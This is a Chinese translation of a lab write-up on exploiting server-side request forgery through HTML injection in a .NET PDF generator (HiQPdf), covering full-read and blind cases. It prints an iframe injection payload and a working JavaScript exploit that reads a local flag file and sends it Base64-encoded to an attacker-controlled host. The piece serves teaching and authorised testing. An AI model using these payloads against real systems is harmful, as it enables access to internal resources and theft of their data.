免责声明
道一安全（本公众号）的技术文章仅供参考，此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等（包括但不限于）进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！！
前言
在最近的一次应用评估中，我遇到一个端点，它会从用户输入中获取HTML并生成PDF。我知道通过插入iframe可以执行SSRF攻击，但我想了解在更复杂的场景中如何滥用这个漏洞。不同服务器上的资源会怎样？CORS（跨域资源共享）如何影响漏洞利用？如果我无法访问请求响应会怎样？我开始更深入地探讨这些问题。本文是我研究发现的简要概述，包括一个简单的实验环境搭建和一些利用示例。
SSRF与PDF生成的简要概述
对于那些不熟悉的人来说，服务器端请求伪造（SSRF）是一类漏洞，攻击者可以利用易受攻击的服务器代表其发出请求。这可能允许攻击者访问内部资源、应用的受限部分，甚至可能破坏应用程序。一个常见的例子是使用SSRF从云元数据服务中请求信息（更多细节请参见Hacktricks: Cloud SSRF）。
SSRF通常有两种形式：完全读取和盲读。完全读取的SSRF会将请求的响应内容返回给攻击者。而盲读的SSRF则不会返回响应的内容。
那么，这如何应用于PDF生成呢？通常，Web应用程序会在创建PDF时使用用户输入。PDF和用户输入的渲染方式在很大程度上取决于所使用的库。然而，许多应用程序使用HTML元素来轻松地格式化和布局PDF。因此，如果用户输入在PDF中被渲染，就可能插入新的HTML元素。当PDF在服务器端生成时，应用程序将根据需要向远程资源发出请求，以确保PDF中的所有HTML内容在最终文档中正确渲染。因此，如果用户可以插入带有远程资源的HTML元素，当PDF生成时，服务器将向该资源发出请求：这就是SSRF。
开始实验
为了演示SSRF在PDF生成中的原理，我搭建了一个简单的Web应用程序和本地实验环境。该应用程序使用HiQPdf，一个常见的用于将HTML转换为PDF的.NET库。主页设置为从POST表单接收HTML。
处理HTML的代码只有三行。它创建一个新的HtmlToPdf转换器，将html POST数据的值保存在一个名为pdfBuffer的变量中，并使用转换器创建一个PDF文件，作为mypdf.pdf返回给用户。
此应用程序在本地地址 192.168.0.133 的 Windows 10 主机上运行。我在同一子网上还有第二台 Kali 主机，用于演示地址 192.168.0.131 的远程利用。
最后，还有第二个 Web 服务器在 Windows 主机上的 127.0.0.1:80 上运行，其根目录下有一个 flag.txt 文档。这将是我们的目标。
完整读取利用
在我们的实验室中，我们知道该应用程序容易受到 HTML 注入的攻击。在第一个示例中，我们将能够看到最终的 PDF 以及我们插入的所有元素。这是一个很容易利用的场景，因为我们只需要选择一个 HTML 元素来呈现我们想要看到的网页；最简单的选择是 <iframe> 。
通过将 iframe 的来源设置为所需的资源，生成 PDF 时将查询该资源并完整返回请求响应。
这是一个非常直接的场景。但是如果我们看不到完整的响应怎么办？
在某些情况下，我们可能无法收到回复。也许生成的 PDF 内容未清晰呈现，或者可能放置在用户无法访问的位置。无论如何，都可以向远程资源发送请求，但我们需要一种新的方式来获取响应。
这里需要考虑两个重要的利用注意事项。首先，我们希望服务器查询的资源的CORS策略。涵盖 CORS 的具体细节超出了本文的范围，但您可以在此处找到 PortSwigger 和相关漏洞的详细解释。在盲目 SSRF 利用的情况下，我们希望服务器向远程资源发出请求并保存响应。为了让易受攻击的服务器保存响应，远程资源必须具有宽松的 CORS 策略。就本示例而言，我们的标志托管在具有开放策略的 Web 服务器上，任何来源都可以读取响应的内容。
其次，处理 HTML 的 PDF 框架是否也处理 HTML 中的 JavaScript。它可能只渲染 HTML，而不渲染任何内联脚本。这完全取决于所使用的框架。
提示：如果您曾经在应用程序评估或错误赏金目标上对此进行测试，您通常可以在应用程序创建的 PDF 元数据中找到框架的名称。
幸运的是，HiQPdf 正是这样做的。如果我们创建一个呈现远程 HTML 页面的 iframe，服务器也会在该页面上执行 JavaScript。
考虑到所有这些，我们可以有效地编写漏洞利用程序。我们的HTML文档如下：
exploit.html<html><body><script>const xhr = new XMLHttpRequest();xhr.open('GET', 'http://127.0.0.1/flag.txt', false); // Synchronous requestxhr.send();if (xhr.status === 200) {const responseData = xhr.responseText;url = 'http://192.168.0.131/?exfil=' + btoa(responseData);const xhr2 = new XMLHttpRequest();xhr2.open('GET', url, false); // Synchronous requestxhr2.setRequestHeader('Content-Type', 'text/plain');xhr2.send();}</script></body></html>
让我们简单地回顾一下这一点。第一部分使用 XMLHttpRequest() 向本地托管标志发送 GET 请求。请求本身必须是同步的。如果不是，则 PDF 生成器将发送请求，但不会等待响应。这使得第二步无法可靠地执行。
然后，下一部分检查第一个请求是否得到了 200 响应代码的满足。然后它将响应的内容保存在名为 responseData 的变量中。然后，响应数据会连接到我们控制的服务器的 URL 上，并以 Base64 进行编码，以确保可以可靠地发送。然后，易受攻击的服务器会查询该 URL。
<iframe src=http://192.168.0.131/exploit.html></iframe>我们启动网络服务器并发送请求。我们从易受攻击的服务器收到两个请求：一个用于我们的漏洞利用，另一个包含 Base64 编码数据！我们对数据进行解码，并获得标志的值。我们已经成功利用盲 SSRF 来检索无法访问的资源，而无需访问 PDF。
总结
虽然 SSRF 在 PDF 生成中很常见，但实际的利用技术可能会有所不同。利用在很大程度上取决于所使用的框架和语言、漏洞是完全读取的还是盲目的，以及所需资源的 CORS 策略。考虑到这一点，仍然可以采取增量和新颖的方法来利用这些漏洞。
原文：
https://infosecwriteups.com/exploiting-ssrf-in-pdf-html-injection-basic-and-blind-047fec5317ae
翻译：道一安全
群内不定期更新各种POC
原文始发于微信公众号（道一安全）：在PDF HTML注入中利用SSRF
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论